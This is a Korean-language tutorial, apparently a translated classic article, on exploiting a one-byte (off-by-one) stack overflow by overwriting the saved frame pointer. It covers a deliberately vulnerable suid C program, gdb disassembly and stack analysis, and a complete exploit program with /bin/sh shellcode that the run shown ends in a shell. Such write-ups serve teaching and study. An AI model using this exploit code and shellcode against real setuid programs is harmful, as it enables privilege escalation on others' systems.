본문 바로가기

[☩ Security ☩]

Frame Bufferoverflow

[ 소개 ]
버퍼들은 오버플로우될 수 있다. 그리고 타겟 프로세스의 주소공간에 저장되어 있는중요한 데이터를 오버플로우 시킴으로써 타겟 프로세스의 실행흐름을 변경할 수 있다.이것은 오래된 이야기다.

이 문서는 어떻게 버퍼 오버플로우를 일으키게 하는가에 대한 것도 아니고 취약점 그 자체를 설명하는 것도 아니다. 이 문서는 타겟 버퍼가 단지 1바이트만 오버플로우될 수 있는 최악의 상황에서도 이 취약점을 이용할 수 있다는 것을 증명한다.

아무런 특권이 없을 때를 포함한 어떤 최악의 상황에서도 신용있는 프로세스를 이용하는수 많은 심오한 테크닉들이 존재한다.우리는 여기서 1바이트 오버플로우만을 다룰 것이다.

[ 공격의 목적 ]
가상의 취약성있는 suid프로그램을 작성하자. 그리고 그것을 "suid"라 하자.
이것은 이것의 버퍼로부터 단지 1바이트만 오버플로우될 수 있게 작성되었다.

    ipdev:~/tests$ cat > suid.c
        #include <stdio.h>

        func(char *sm)
        {
                char buffer[256];
                int i;
                for(i=0;i<=256;i++)
                        buffer[i]=sm[i];
        }

        main(int argc, char *argv[])
        {
                if (argc < 2) {
                        printf("missing args\n");
                        exit(-1);
                }

                func(argv[1]);
        }
        ^D
        ipdev:~/tests$ gcc suid.c -o suid
        ipdev:~/tests$

여러분도 알 수 있듯이, 우리는 이 프로그램을 이용하는데 있어서 많은 공간을 가지지 못한다.
사실, 오버플로우는 버퍼의 저장공간으로부터 단지 1바이트만을 초과함으로써 일어난다. 우리는 이 1바이트를 현명하게 사용해야 할 것이다.
어떤 것을 이용하기 전에, 우리는 이 1바이트가 실제로 무엇을 덮어쓰는지 살펴보아야 한다(여러분은 아마도 그것을 이미 알지도 모르지만). 오버플로우가 일어날 때, gdb를 이용해 스택을 어셈블해보자. 

    ipdev:~/tests$ gdb ./suid
        ...
        (gdb) disassemble func
        Dump of assembler code for function func:
        0x8048134 <func>:       pushl  %ebp
        0x8048135 <func+1>:     movl   %esp,%ebp
        0x8048137 <func+3>:     subl   $0x104,%esp
        0x804813d <func+9>:     nop
        0x804813e <func+10>:    movl   $0x0,0xfffffefc(%ebp)
        0x8048148 <func+20>:    cmpl   $0x100,0xfffffefc(%ebp)
        0x8048152 <func+30>:    jle    0x8048158 <func+36>
        0x8048154 <func+32>:    jmp    0x804817c <func+72>
        0x8048156 <func+34>:    leal   (%esi),%esi
        0x8048158 <func+36>:    leal   0xffffff00(%ebp),%edx
        0x804815e <func+42>:    movl   %edx,%eax
        0x8048160 <func+44>:    addl   0xfffffefc(%ebp),%eax
        0x8048166 <func+50>:    movl   0x8(%ebp),%edx
        0x8048169 <func+53>:    addl   0xfffffefc(%ebp),%edx
        0x804816f <func+59>:    movb   (%edx),%cl
        0x8048171 <func+61>:    movb   %cl,(%eax)
        0x8048173 <func+63>:    incl   0xfffffefc(%ebp)
        0x8048179 <func+69>:    jmp    0x8048148 <func+20>
        0x804817b <func+71>:    nop
        0x804817c <func+72>:    movl   %ebp,%esp
        0x804817e <func+74>:    popl   %ebp
        0x804817f <func+75>:    ret
        End of assembler dump.

        (gdb)

우리 모두가 알듯이, CALL 명령이 요구하기 때문에, 프로세서는 먼저 %eip를 스택에 집어넣을 것이다. 그런 다음, *0x8048134에서 보여지듯 이 작은 프로그램은 %ebp를 %eip위에 집어 넣는다.  마지막으로 그것은 %esp를 0x104만큼 감소시킴으로써 지역 프레임을 활성화 시킨다. 이것은 우리의 지역변수들이 0x104의 크기를 가질 것을 의미한다(0x100은 문자열를 위한 공간크기, 0x004는 정수를 위한 공간크기)
그 변수들은 물리적으로 처음 4바이트를 차지하므로 255바이트의 버퍼는 256바이트의 버퍼만큼의 공간을 차지한다는 것을 명심해야 한다. 우리는 이제 오버플로우가 일어나기 전의 스택의 모습이 다음과 같다고 말할 수 있다:

  saved_eip
        saved_ebp
        char buffer[255]
        char buffer[254]
            ...
        char buffer[000]
        int i

이것은 오버플로우하는 바이트가 저장된 프레임 포인터(saved_ebp)를 덮어쓸 것을 의미한다. 또한 저장된 프레임 포인터(saved_ebp)는 func()함수를 시작할 때 스택에 집어 넣어졌었다.
하지만 어떻게 이 1바이트가 프로그램의 실행흐름을 바꿀수 있는가?
자 이제, %ebp의 상(image)에 어떤 일이 일어나는지 살펴보자. 우리는 *0x804817e에서 볼 수 있듯이 func()함수가 끝날때 %ebp가 복귀된다는 것을 이미 알고 있다. 하지만 그 다음은 어떻게 될것인가?

    (gdb) disassemble main
        Dump of assembler code for function main:
        0x8048180 <main>:       pushl  %ebp
        0x8048181 <main+1>:     movl   %esp,%ebp
        0x8048183 <main+3>:     cmpl   $0x1,0x8(%ebp)
        0x8048187 <main+7>:     jg     0x80481a0 <main+32>
        0x8048189 <main+9>:     pushl  $0x8058ad8
        0x804818e <main+14>:    call   0x80481b8 <printf>
        0x8048193 <main+19>:    addl   $0x4,%esp
        0x8048196 <main+22>:    pushl  $0xffffffff
        0x8048198 <main+24>:    call   0x804d598 <exit>
        0x804819d <main+29>:    addl   $0x4,%esp
        0x80481a0 <main+32>:    movl   0xc(%ebp),%eax
        0x80481a3 <main+35>:    addl   $0x4,%eax
        0x80481a6 <main+38>:    movl   (%eax),%edx
        0x80481a8 <main+40>:    pushl  %edx
        0x80481a9 <main+41>:    call   0x8048134 <func>
        0x80481ae <main+46>:    addl   $0x4,%esp
        0x80481b1 <main+49>:    movl   %ebp,%esp
        0x80481b3 <main+51>:    popl   %ebp
        0x80481b4 <main+52>:    ret
        0x80481b5 <main+53>:    nop
        0x80481b6 <main+54>:    nop
        0x80481b7 <main+55>:    nop
        End of assembler dump.
        (gdb)

훌륭하다! main()함수의 끝에서 func()함수가 불려진 후에, *0x80481b1에서 보여지듯 %ebp의 값은 %esp에 저장될 것이다. 이것은 우리가 %esp를 임의의 값으로 설정할 수 있다는 것을 뜻한다. 하지만 기억해라. 이 임의의 값은 진짜로 임의의 값이 아니다. 왜냐하면 당신은 %esp의 바이트 중 마지막 바이트만을 수정할 수 있기 때문이다.
우리가 맞는지 확인해 보자. 

  (gdb) disassemble main
        Dump of assembler code for function main:
        0x8048180 <main>:       pushl  %ebp
        0x8048181 <main+1>:     movl   %esp,%ebp
        0x8048183 <main+3>:     cmpl   $0x1,0x8(%ebp)
        0x8048187 <main+7>:     jg     0x80481a0 <main+32>
        0x8048189 <main+9>:     pushl  $0x8058ad8
        0x804818e <main+14>:    call   0x80481b8 <printf>
        0x8048193 <main+19>:    addl   $0x4,%esp
        0x8048196 <main+22>:    pushl  $0xffffffff
        0x8048198 <main+24>:    call   0x804d598 <exit>
        0x804819d <main+29>:    addl   $0x4,%esp
        0x80481a0 <main+32>:    movl   0xc(%ebp),%eax
        0x80481a3 <main+35>:    addl   $0x4,%eax
        0x80481a6 <main+38>:    movl   (%eax),%edx
        0x80481a8 <main+40>:    pushl  %edx
        0x80481a9 <main+41>:    call   0x8048134 <func>
        0x80481ae <main+46>:    addl   $0x4,%esp
        0x80481b1 <main+49>:    movl   %ebp,%esp
        0x80481b3 <main+51>:    popl   %ebp
        0x80481b4 <main+52>:    ret
        0x80481b5 <main+53>:    nop
        0x80481b6 <main+54>:    nop
        0x80481b7 <main+55>:    nop
        End of assembler dump.
        (gdb) break *0x80481b4
        Breakpoint 2 at 0x80481b4
        (gdb) run `overflow 257`
        Starting program: /home/klog/tests/suid `overflow 257`

        Breakpoint 2, 0x80481b4 in main ()
        (gdb) info register esp
        esp            0xbffffd45       0xbffffd45
        (gdb)

우리가 맞은 것처럼 보인다. 'A'(0x41)문자 하나로 버퍼를 오버플로우 한 후에, %ebp는 %esp로 옮겨졌다. %ebp가 RET바로 앞에서 스택으로부터 꺼내져지기 때문에 %esp는 4만큼 증가한다.  이것은 0xbffffd41 + 0x4 = 0xbffffd45라는 것을 알려준다.

[ 준비하기 ]

스택포인터를 변경함으로써 무엇을 얻을 수 있는가? 우리는 어느 전통적인 버퍼 오버플로우와 같이 저장된 %eip를 직접적으로 바꿀 수 없다. 하지만 우리는 프로세서가 그것이 다른 곳에 있다고 생각하게 할 수는 있다. 프로세서가 프로시저로부터 돌아올때, 스택에 있는 첫번째 워드를 단순히 꺼낸다, 그것이 원래의 %eip라고 생각하면서. 하지만, 우리가 %esp를 바꾸면, 우리는 프로세서가 스택으로부터 어떤 값도 마치 그것이 %eip인 것처럼, 꺼내게 할 수 있다.
그렇게 함으로써 실행흐름을 바꿀 수 있다. 다음의 문자열을 이용해 버퍼 오버플로우를 계획해 보자.

        [nops][shellcode][&shellcode][%ebp_altering_byte]

이것을 하기 위해서는, 우리는 먼저 %ebp (%esp도 마찬가지)를 어떤 값으로 바꾸길 원하는지를 결정해야 한다. 버퍼 오버플로우가 일어났을 때, 스택이 어떤 구조가 될지 살펴보자 :

        saved_eip
        saved_ebp (altered by 1 byte)
        &shellcode                        \
        shellcode                         |  char buffer
        nops                                /
        int i

여기서, 우리는 프로세서가 main()함수로부터 돌아올때, 쉘코드의 주소가 스택으로부터 꺼내어져 %eip에 저장되게 하기 위해, 우리는 %esp가 &shellcode를 가리키기를 원한다.
우리는 이 취약한 프로그램을 어떻게 이용하는 가에 대한 모든 지식을 갖추고 있기 때문에, 우리는 이 프로그램이 이용될 때의 상황에서 돌아가는 프로세스의 정보를 추출할 필요가 있다. 이 정보는 오버플로우된 버퍼의 주소와 우리의 쉘코드를 가리키는 포인터의 주소(&shellcode) 로 이루어져 있다. 그 프로그램이 257바이트 길이의 문자열로 오버플로우되도록 그 프로그램을 실행해 보자.
이것을 하기 위해서는, 우리가 그 취약한 프로세스를 이용하는 상황을 재현할 가짜 프로그램을 작성해야 한다.

  (gdb) q
        ipdev:~/tests$ cat > fake_exp.c
        #include <stdio.h>
        #include <unistd.h>

        main()
        {
                int i;
                char buffer[1024];

                bzero(&buffer, 1024);
                for (i=0;i<=256;i++)
                {
                        buffer[i] = 'A';
                }
                execl("./suid", "suid", buffer, NULL);
        }
        ^D
        ipdev:~/tests$ gcc fake_exp.c -o fake_exp
        ipdev:~/tests$ gdb --exec=fake_exp --symbols=suid
        ...
        (gdb) run
        Starting program: /home/klog/tests/exp2

        Program received signal SIGTRAP, Trace/breakpoint trap.
        0x8048090 in ___crt_dummy__ ()
        (gdb) disassemble func
        Dump of assembler code for function func:
        0x8048134 <func>:       pushl  %ebp
        0x8048135 <func+1>:     movl   %esp,%ebp
        0x8048137 <func+3>:     subl   $0x104,%esp
        0x804813d <func+9>:     nop
        0x804813e <func+10>:    movl   $0x0,0xfffffefc(%ebp)
        0x8048148 <func+20>:    cmpl   $0x100,0xfffffefc(%ebp)
        0x8048152 <func+30>:    jle    0x8048158 <func+36>
        0x8048154 <func+32>:    jmp    0x804817c <func+72>
        0x8048156 <func+34>:    leal   (%esi),%esi
        0x8048158 <func+36>:    leal   0xffffff00(%ebp),%edx
        0x804815e <func+42>:    movl   %edx,%eax
        0x8048160 <func+44>:    addl   0xfffffefc(%ebp),%eax
        0x8048166 <func+50>:    movl   0x8(%ebp),%edx
        0x8048169 <func+53>:    addl   0xfffffefc(%ebp),%edx
        0x804816f <func+59>:    movb   (%edx),%cl
        0x8048171 <func+61>:    movb   %cl,(%eax)
        0x8048173 <func+63>:    incl   0xfffffefc(%ebp)
        0x8048179 <func+69>:    jmp    0x8048148 <func+20>
        0x804817b <func+71>:    nop
        0x804817c <func+72>:    movl   %ebp,%esp
        0x804817e <func+74>:    popl   %ebp
        0x804817f <func+75>:    ret
        End of assembler dump.
        (gdb) break *0x804813d
        Breakpoint 1 at 0x804813d
        (gdb) c
        Continuing.

        Breakpoint 1, 0x804813d in func ()
        (gdb) info register esp
        esp            0xbffffc60       0xbffffc60
        (gdb)

성공이다. 우리는 이제 func의 프레임이 활성화 된 후의 %esp를 알고 있다.
이 값으로부터, 우리는 우리의 버퍼가 0xbffffc60 + 0x04 ('int i'의 크기) = 0xbffffc64에 위치하고 있다는 것을 이제 추측할 수 있다. 그리고 또한 우리의 쉘코드를 가리키는 포인터는 0xbffffc64 + 0x100 ('char buffer[256]'의 크기) - 0x04 (쉘코드 포인터크기) = 0xbffffd60 에 자리잡고 있다는 것을 추측할 수 있다.

[ 본격적인 공격 ]

저런 값들을 아는 것은 쉘코드, 쉘코드 포인터 그리고 덮어쓰는 1바이트를 포함한 완성된 버전의 이용프로그램을 작성하는것을 가능하게 해 준다. 저장된 %ebp의 마지막 바이트를 덮어쓰는데 필요한 값은 0x60 - 0x04 = 0x5c가 될것이다.
왜냐하면, 여러분도 기억하듯이, 우리는 main()함수에서 돌아오기 바로전에 %ebp를 스텍에서 꺼내기 때문이다.
이 4바이트는 %ebp가 스택으로부터 제거되는 것을 보충할 것이다. 우리의 쉘코드를 가리키는 포인터에 관해서는, 우리는 그것이 정확한 주소를 가리키게 할 필요가 없다. 우리가 필요한 것은 보통의 버퍼 오버플로우와 같이 프로세서가, 오버플로우된 버퍼의 시작(0xbfffc64)과 우리의 쉘코드(0xbffffc64 - sizeof(shellcode)) 사이에 있는 nops의 한 가운데로 되돌아 오게 만드는 것이다.

0xbffffc74를 이용하자.

      ipdev:~/tests$ cat > exp.c
        #include <stdio.h>
        #include <unistd.h>

        char sc_linux[] =
                "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
                "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
                "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
                "\xd7\xff\xff\xff/bin/sh";

        main()
        {
                int i, j;
                char buffer[1024];

                bzero(&buffer, 1024);
                for (i=0;i<=(252-sizeof(sc_linux));i++)
                {
                        buffer[i] = 0x90;
                }
                for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++)
                {
                        buffer[i] = sc_linux[j];
                }
                buffer[i++] = 0x74; /*
                       buffer[i++] = 0xfc;  * Address of our buffer
                buffer[i++] = 0xff;  *
                buffer[i++] = 0xbf;  */
                buffer[i++] = 0x5c;

                execl("./suid", "suid", buffer, NULL);

        }
        ^D
        ipdev:~/tests$ gcc exp.c -o exp
        ipdev:~/tests$ ./exp
        bash$

훌륭하다! 실제로 무엇이 일어났는지 더 자세히 살펴보자. 비록 우리가 내가 이 문서에서 쓴 이론을 가지고 프로그램을 작성하였지만, 모든 것이 일치하는 것을 보는 것은 멋진 일일 것이다. 만약에 바로 전에 설명된 모든 것을 이해 했다면, 바로 지금 그만 읽고 취약점을찾는 일을 시작해도 좋다.

        ipdev:~/tests$ gdb --exec=exp --symbols=suid
        ...
        (gdb) run
        Starting program: /home/klog/tests/exp

        Program received signal SIGTRAP, Trace/breakpoint trap.
        0x8048090 in ___crt_dummy__ ()
        (gdb)

먼저 suid프로그램의 이용프로그램에 우리 눈 앞에서 어떤 일이 벌어지는가 주의 깊게 살펴보기 위해 멈추는 지점(breakpoint)를 몇 개 설정하자. 우리는 우리의 쉘코드가실행되기 시작할 때까지 덮어 쓰여진 프레임 포인터의 값을 따르도록 해야 한다.  

  (gdb) disassemble func
        Dump of assembler code for function func:
        0x8048134 <func>:       pushl  %ebp
        0x8048135 <func+1>:     movl   %esp,%ebp
        0x8048137 <func+3>:     subl   $0x104,%esp
        0x804813d <func+9>:     nop
        0x804813e <func+10>:    movl   $0x0,0xfffffefc(%ebp)
        0x8048148 <func+20>:    cmpl   $0x100,0xfffffefc(%ebp)
        0x8048152 <func+30>:    jle    0x8048158 <func+36>
        0x8048154 <func+32>:    jmp    0x804817c <func+72>
        0x8048156 <func+34>:    leal   (%esi),%esi
        0x8048158 <func+36>:    leal   0xffffff00(%ebp),%edx
        0x804815e <func+42>:    movl   %edx,%eax
        0x8048160 <func+44>:    addl   0xfffffefc(%ebp),%eax
        0x8048166 <func+50>:    movl   0x8(%ebp),%edx
        0x8048169 <func+53>:    addl   0xfffffefc(%ebp),%edx
        0x804816f <func+59>:    movb   (%edx),%cl
        0x8048171 <func+61>:    movb   %cl,(%eax)
        0x8048173 <func+63>:    incl   0xfffffefc(%ebp)
        0x8048179 <func+69>:    jmp    0x8048148 <func+20>
        0x804817b <func+71>:    nop
        0x804817c <func+72>:    movl   %ebp,%esp
        0x804817e <func+74>:    popl   %ebp
        0x804817f <func+75>:    ret
        End of assembler dump.
        (gdb) break *0x804817e
        Breakpoint 1 at 0x804817e
        (gdb) break *0x804817f
        Breakpoint 2 at 0x804817f
        (gdb)

저 첫번째 멈추는 지점(breakpoint)들은 스택으로부터 꺼내지기 전과 후의 %ebp의 내용을 살펴볼 수 있게 해 줄 것이다. 이 값들은 원래의 값과 덮어 쓰여진 값에 해당한다. 

  (gdb) disassemble main
        Dump of assembler code for function main:
        0x8048180 <main>:       pushl  %ebp
        0x8048181 <main+1>:     movl   %esp,%ebp
        0x8048183 <main+3>:     cmpl   $0x1,0x8(%ebp)
        0x8048187 <main+7>:     jg     0x80481a0 <main+32>
        0x8048189 <main+9>:     pushl  $0x8058ad8
        0x804818e <main+14>:    call   0x80481b8 <_IO_printf>
        0x8048193 <main+19>:    addl   $0x4,%esp
        0x8048196 <main+22>:    pushl  $0xffffffff
        0x8048198 <main+24>:    call   0x804d598 <exit>
        0x804819d <main+29>:    addl   $0x4,%esp
        0x80481a0 <main+32>:    movl   0xc(%ebp),%eax
        0x80481a3 <main+35>:    addl   $0x4,%eax
        0x80481a6 <main+38>:    movl   (%eax),%edx
        0x80481a8 <main+40>:    pushl  %edx
        0x80481a9 <main+41>:    call   0x8048134 <func>
        0x80481ae <main+46>:    addl   $0x4,%esp
        0x80481b1 <main+49>:    movl   %ebp,%esp
        0x80481b3 <main+51>:    popl   %ebp
        0x80481b4 <main+52>:    ret
        0x80481b5 <main+53>:    nop
        0x80481b6 <main+54>:    nop
        0x80481b7 <main+55>:    nop
        End of assembler dump.
        (gdb) break *0x80481b3
        Breakpoint 3 at 0x80481b3
        (gdb) break *0x80481b4
        Breakpoint 4 at 0x80481b4
        (gdb)

여기서 우리는 덮어 쓰워진 %ebp가 %esp로 전송되는 것과 main()함수로부터 돌아올때까지의 %esp의 내용을 살펴보기를 원한다. 프로그램을 실행시켜 보자.

        (gdb) c
        Continuing.

        Breakpoint 1, 0x804817e in func ()
        (gdb) info reg ebp
        ebp            0xbffffd64       0xbffffd64
        (gdb) c
        Continuing.

        Breakpoint 2, 0x804817f in func ()
        (gdb) info reg ebp
        ebp            0xbffffd5c       0xbffffd5c
        (gdb) c
        Continuing.

        Breakpoint 3, 0x80481b3 in main ()
        (gdb) info reg esp
        esp            0xbffffd5c       0xbffffd5c
        (gdb) c
        Continuing.

        Breakpoint 4, 0x80481b4 in main ()
        (gdb) info reg esp
        esp            0xbffffd60       0xbffffd60
        (gdb)

처음에는, 우리는 원래의 %ebp값을 보게 된다. 스택에서 꺼내진 후에는, 우리는 우리의 오버플로우하는 문자열의 마지막 바이트인 0x5c에 의해 덮어 쓰여진 한바이트로 그것이 대체되는 것을 볼 수 있다. 그런 후에, %ebp는 %esp로 옮겨지고마지막으로 %ebp가 스택에서 다시 꺼내진 후에, %esp는 4만큼 증가한다.

그것으로부터 우리는 마지막 값인 0xbffffd60을 얻을 수 있다. 거기서 무엇이 성립하는지 살펴보자.

    (gdb) x 0xbffffd60
        0xbffffd60 <__collate_table+3086619092>:        0xbffffc74
        (gdb) x/10 0xbffffc74
        0xbffffc74 <__collate_table+3086618856>:        0x90909090
        0x90909090        0x90909090       0x90909090
        0xbffffc84 <__collate_table+3086618872>:        0x90909090
        0x90909090        0x90909090       0x90909090
        0xbffffc94 <__collate_table+3086618888>:        0x90909090
        0x90909090
        (gdb)

우리는 0xbffffd60이 쉘코드 바로 앞에 있는 nops의 한 가운데를 가리키고 있는 포인터의 실제 주소라는 것을 알 수 있다. 프로세서가 main()함수로부터 돌아올때, 그것은 이 포인터를 꺼내어 %eip로 저장할 것이고, 정확하게 0xbffffc74로 이동할것이다. 이것은 우리의 쉘코드가 실행될 때이다.

       (gdb) c
        Continuing.

        Program received signal SIGTRAP, Trace/breakpoint trap.
        0x40000990 in ?? ()
        (gdb) c
        Continuing.
        bash$

[ 결론 ]

이 테크닉이 멋진 것 처럼 보인다 해도, 몇 몇 문제들이 풀리지 않은 채 남아있다.
단지 1바이트만을 덮어 쓰면서 프로그램의 실행흐름을 변경한다는 것은 분명히 가능하다. 하지만 어떤 상황에서도? 사실은 적대적인 환경에서 이용프로그램을 작성하는 것은 어려운 작업이 될 수도 있다. 원격 호스트에서라면 최악이다.
우리는 타겟 프로세스의 정확한 스택의 크기를 추측해야 한다. 우리는 오버플로우된 버퍼가 저장된 프레임 포인터 바로 옆에 위치해야 하는 필요성도 또한 이 문제이다. 이것은 함수에서 그것이 첫번째로 선언된 변수이어야 한다는 것을 의미한다. 말할 필요도 없이, 꽉 채우는 것 또한 고려해야 한다. 그리고 빅 인디언 방식의 아키텍처들을
공격하는 것은 어떨까? 만약 우리가 이 바뀐 주소에 도달할 능력이 없다면, 우리는 프레임 포인터의 가장 중요한 바이트를 덮어쓰는 것이 불가능하다...

결론은 상황을 이용하기에 거의 불가능한 것으로부터 이끌어 질 수 있었다. 비록 내가 누군가가 이 테크닉을 실제의 취약점에 적용을 했다는 말을 듣고 놀란다 하더라도, 그것은 크고 작은 오버플로우같은 것들은 없으며 크고 작은 취약점 또한 없다는 것을 우리에게 증명해 주는 셈이 될 것이다. 어떠한 취약점도 이용될 수 있다. 여러분이 필요한것은 방법을 찾아 내는 것이다.